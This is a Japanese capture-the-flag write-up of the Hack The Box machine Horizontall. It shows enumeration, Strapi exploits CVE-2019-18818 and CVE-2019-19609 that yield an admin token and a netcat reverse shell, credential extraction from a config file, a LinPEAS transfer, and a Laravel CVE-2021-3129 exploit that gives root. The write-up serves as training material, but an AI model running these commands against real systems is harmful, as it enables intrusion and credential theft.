HTB_Horizontall - meruneru/tech_memo GitHub Wiki

Machine - Horizontall

  • EASY
  • Linux のマシン

#wfuzz でサブドメインの探索し、使われているCMSの脆弱性をvulmonで調べた。 攻撃ツールをサーバ側で使うために、ローカルにHTTPサーバを立てながらファイル転送を実施。

権限昇格を調べるために、 #LinPEAS を使った。 #LinPEAS の出力を一通りみたがパッとはわからず。 ローカルの8000番が開いているところから、 #curl で確認したら #Laravel がdebugmodeで動いていることが分かった。

#Laravel の脆弱性を調べて、githubのレポジトリが多くexploitが試しやすそうなやつを実施すると、root権限でコマンド実行できることがわかり、boxを攻略した。

port scan

#ポート22 は #ssh #ポート80 #httpd

Webから侵入して、sshの秘密鍵を取得してアクセスする形かな?と推測。

lqq(kali?kali)-[~/htb/horizontall]
mq$ nmap -sV -sC -Pn horizontall.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-21 21:35 EST
Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.28% done; ETC: 21:35 (0:00:00 remaining)
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.64 seconds

Enumulation

特にこれといったファイルはなさそう。


lqq(kali?kali)-[~/htb/horizontall]
mq$ gobuster dir -u horizontall.htb -w ~/wordlist/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/kali/wordlist/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/21 21:37:08 Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/favicon.ico          (Status: 200) [Size: 4286]
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/index.html           (Status: 200) [Size: 901]
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]

===============================================================
2022/01/21 21:38:45 Finished
===============================================================           

Access

ブラウザでアクセス

ページ内にフォームがあるだけ。 ただし、フォームのボタンは飾りで機能しない。

!

ログイン画面等はなし。

ソースコードは1行になっていて難読化されている。

デバッガでみてもこれといった気になる点はなかった。

ページからは特にできることはなさそう。

nginx/1.14.0の脆弱性を調べる

特にこれといって見つからず。

Enumulation (2nd)

サブドメイン探索

サブドメインが無いか探索する。 サブドメインの辞書はSecList を使った。 ( #SecList は辞書がたくさん入っているgithubリポジトリで便利)

$ sudo wfuzz -w subdomains-top1million-110000.txt -c -f wfuzz-output.txt -u "horizontall.htb" -H "HOST:FUZZ.horizontall.htb" --hc 301                                                                                                                    1 ?
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://horizontall.htb/
Total requests: 2

====================================================================================================================================================
ID           C.Time       Response   Lines      Word     Chars       Server                           Redirect                         Payload
====================================================================================================================================================

000000001:   0.687s       200        1 L        43 W     901 Ch      nginx/1.14.0 (Ubuntu)                                             "www"
000000002:   0.694s       200        19 L       33 W     413 Ch      nginx/1.14.0 (Ubuntu)                                             "api-prod"

Total time: 0.698018
Processed Requests: 2
Filtered Requests: 0
Requests/sec.: 2.865252

探索したところ、api-prodというサブドメインが見つかった。

```/etc/hosts/``に追記しておく。

10.10.11.105 horizontall.htb api-prod.horizontall.htb

#wfuzz の使い方

  • -w <辞書ファイル>
  • -c カラーでコンソール出力
  • -f log出力ファイル名
  • -u URL(今回は使ってないが、こちらでFUZZ指定してディレクトリ探索も可能)
  • -H HTTPヘッダ 今回はHOST名をいろいろと変えたいのでその部分をFUZZ指定
  • --hc hideするHTTPレスポンスコード
  • -v 出力テーブルが詳細になる(今回は未使用)

ディレクトリ探索

#gobuster でサブドメインのディレクトリを探索。 ログイン機能がありそうなことが分かった。

lqq(kali? kali)-[~/htb/horizontall]
mq$ gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/22 20:05:52 Starting gobuster in directory enumeration mode
===============================================================
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60]
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60]
/Admin                (Status: 200) [Size: 854]

Access(2nd)

ブラウザでhttp://api-prod.horizontall.htb/adminにアクセスすると、 http://api-prod.horizontall.htb/admin/auth/loginにリダイレクトされた。

#strapi というフレームワーク(CMS)のようだ。 John Doe というUsernameが記載されているが、SSHのアカウントかも? !

wail, doe, johnという3人がレビューを書いてるようだ。 !Pasted image 20220123103404.png

Foothold

strapiの脆弱性を調べる

strapiをvulmon で調べると いくつか見つかった。

  • CVE-2019-18818
  • CVE-2019-19609

strapiのバージョンを確認すると、 3.0.0-beta.17.4であった。

CVE-2019-18818 CVE-2019-19609どちらも使えそうだ。

!

CVE-2019-18818でログインを試みる

adminのパスワードをhoge123に変更してみるとうまくいった。 無事にログインできた。

lqq(kali?kali)-[~/htb/horizontall]
mq$ git clone https://github.com/rasyidfox/CVE-2019-18818.git
Cloning into 'CVE-2019-18818'...
remote: Enumerating objects: 21, done.
remote: Counting objects: 100% (21/21), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 21 (delta 1), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (21/21), 4.94 KiB | 50.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.

lqq(kali?kali)-[~/htb/horizontall]
mq$ cd CVE-2019-18818

lqq(kali?kali)-[~/htb/horizontall/CVE-2019-18818]
mq$ python3 exploit.py [email protected] http://api-prod.horizontall.htb hoge123
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:
b'{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQyOTAyOTY0LCJleHAiOjE2NDU0OTQ5NjR9.Q6nKruRLaUMvDRQvdfcsltXrpBDokOuNKlmBqq3K2pg","user":{"id":3,"username":"admin","email":"[email protected]","blocked":null}}'

CVE-2019-19609でシェルを取得

CVE-2019-19609のexploit)を使う。 JWTというtokenが必要とのこと。

それはCVE-2019-18818で、JWT(Json Web Token)は"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQyOTAyOTY0LCJleHAiOjE2NDU0OTQ5NjR9.Q6nKruRLaUMvDRQvdfcsltXrpBDokOuNKlmBqq3K2pg"ということも分かっている。

まずはローカルでListenする。

$ nc -nvlp 9922

次はCVE-2019-19609のexploitを実行する。

$ python3 exploit.py -d api-prod.horizontall.htb -jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQyOTAyOTY0LCJleHAiOjE2NDU0OTQ5NjR9.Q6nKruRLaUMvDRQvdfcsltXrpBDokOuNKlmBqq3K2pg -l 10.10.14.3 -p 9922

使いやすいシェルにする

python3 -c'import pty;pty.spawn("/bin/bash")'

サーバ内を探索

ユーザーのフラグを発見した。

strapi@horizontall:~/myapi$ cd /home
cd /home
strapi@horizontall:/home$ ls
ls
developer
strapi@horizontall:/home$ cd developer
cd developer
strapi@horizontall:/home/developer$ ls
ls
composer-setup.php  myproject  user.txt
strapi@horizontall:/home/developer$ cat user.txt
cat user.txt
c8c51830340c4dda61c72826a28429a8

管理者権限を取得

strapi@horizontall:~/myapi$ id
id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)


strapi@horizontall:/home/developer$ ps aux
ps aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
strapi     1801  0.0  0.3  76648  7408 ?        Ss   Jan22   0:00 /lib/systemd/s
strapi     1839  0.0  2.2 814696 46008 ?        Ssl  Jan22   0:05 PM2 v4.5.6: Go
strapi     1850  0.3  4.2 922700 86116 ?        Ssl  Jan22   0:33 node /usr/bin/
strapi     7027  0.0  2.0 804748 40476 ?        Sl   02:30   0:00 npm
strapi     7045  0.0  0.0   4640   788 ?        S    02:30   0:00 sh -c strapi "
strapi     7046  0.0  0.0   4640   104 ?        S    02:30   0:00 sh -c strapi "
strapi     7049  0.0  0.0   6328   744 ?        S    02:30   0:00 cat /tmp/f
strapi     7050  0.0  0.0   4640   792 ?        S    02:30   0:00 /bin/sh -i
strapi     7051  0.0  0.1  15724  2260 ?        S    02:30   0:00 nc 10.10.14.3
strapi     7070  0.0  0.4  38976  9576 ?        S    02:30   0:00 python3 -cimpo
strapi     7071  0.0  0.2  21364  4912 pts/0    Ss   02:30   0:00 /bin/bash
strapi     7185  0.0  0.0   6328   824 pts/0    S+   02:33   0:00 cat
strapi     7186  0.1  2.0 805032 40528 ?        Sl   02:34   0:00 npm
strapi     7204  0.0  0.0   4640   772 ?        S    02:34   0:00 sh -c strapi "
strapi     7205  0.0  0.0   4640   104 ?        S    02:34   0:00 sh -c strapi "
strapi     7208  0.0  0.0   6328   828 ?        S    02:34   0:00 cat /tmp/f
strapi     7209  0.0  0.0   4640   784 ?        S    02:34   0:00 /bin/sh -i
strapi     7210  0.0  0.1  15724  2244 ?        S    02:34   0:00 nc 10.10.14.3
strapi     7314  0.0  0.4  38976  9848 ?        S    02:37   0:00 python3 -cimpo
strapi     7315  0.0  0.2  21364  5068 pts/1    Ss   02:37   0:00 /bin/bash
strapi     7373  0.0  0.1  36088  3232 pts/1    R+   02:39   0:00 ps aux

developerアカウントのMYSQLのパスワードを見つけた。

strapi@horizontall:~/myapi/config/environments/development$ cat database.json
cat database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

LinPEAS

権限昇格のための情報を収集する #LinPEAS github を実行する。

strapiサーバにはDNSがないので、kaliローカルに置いたファイルをwgetしてもっていく。

kali $ wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/linpeas.sh

kali $ python3 -m http.server 8000

strapi@horizontall:/tmp$ wget http://10.10.14.3:8000/linpeas.sh
strapi@horizontall:/tmp$ chmod +x linpeas.sh
strapi@horizontall:/tmp$ ./linpeas.sh

NMAPか?と思ったけど、調べてみたらバージョンが新しくて脆弱性はなかった。

#ポート3306 はMySQLだが、ポート8000は謎に空いている。 #curl でアクセスしてみると、 #Laravel だった。

qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqu Interesting Files tqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
                                         mqqqqqqqqqqqqqqqqqqqj
lqqqqqqqqqqu SUID - Check easy privesc, exploits and write perms
m https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 146K Jan 19  2021 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 37K Mar 22  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/gpasswd
-rwsr-sr-x 1 daemon daemon 51K Feb 20  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 75K Mar 22  2019 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 59K Mar 22  2019 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 40K Mar 22  2019 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 22K Mar 27  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root root 44K Mar 22  2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 427K Aug 11 18:02 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 99K Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 116K Mar 26  2021 /usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 14K Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 31K Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root root 63K Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root root 44K Mar 22  2019 /bin/su
-rwsr-xr-x 1 root root 27K Sep 16  2020 /bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 43K Sep 16  2020 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8


lqqqqqqqqqqu Active Ports
m https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1850/node /usr/bin/
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

$ curl localhost:8000
...
Laravel v8 (PHP v7.4.18)

Laravel v8の脆弱性を調べる

Vulmonで調べると、 CVE-2021-3129のGithubレポジトリが43個あることが分かった。 exploitがいろいろありそうなので、見てみる。

このexploitを使ってみる。

READMEに記載してあるが、 exploit.pyと同じディレクトリに、[phpggc](https://github.com/ambionics/phpggc.gitをcloneして使うとのこと。

phpggcはフォルダなので、zipなどに圧縮して、 サーバ側からダウンロードして、一通りの環境構築を行って、実行するとできた。

$ python3 ./exploit.py http://127.0.0.1:8000 "cat /root/root.txt"
[*] Try to use monolog_rce1 for exploitation.
[*] Result:
8482ab07543bee48d2e9c696fb4111ec

[*] Try to use monolog_rce2 for exploitation.
[*] Result:
8482ab07543bee48d2e9c696fb4111ec

[*] Try to use monolog_rce3 for exploitation.
[*] Result:
[-] RCE echo is not found.
⚠️ **GitHub.com Fallback** ⚠️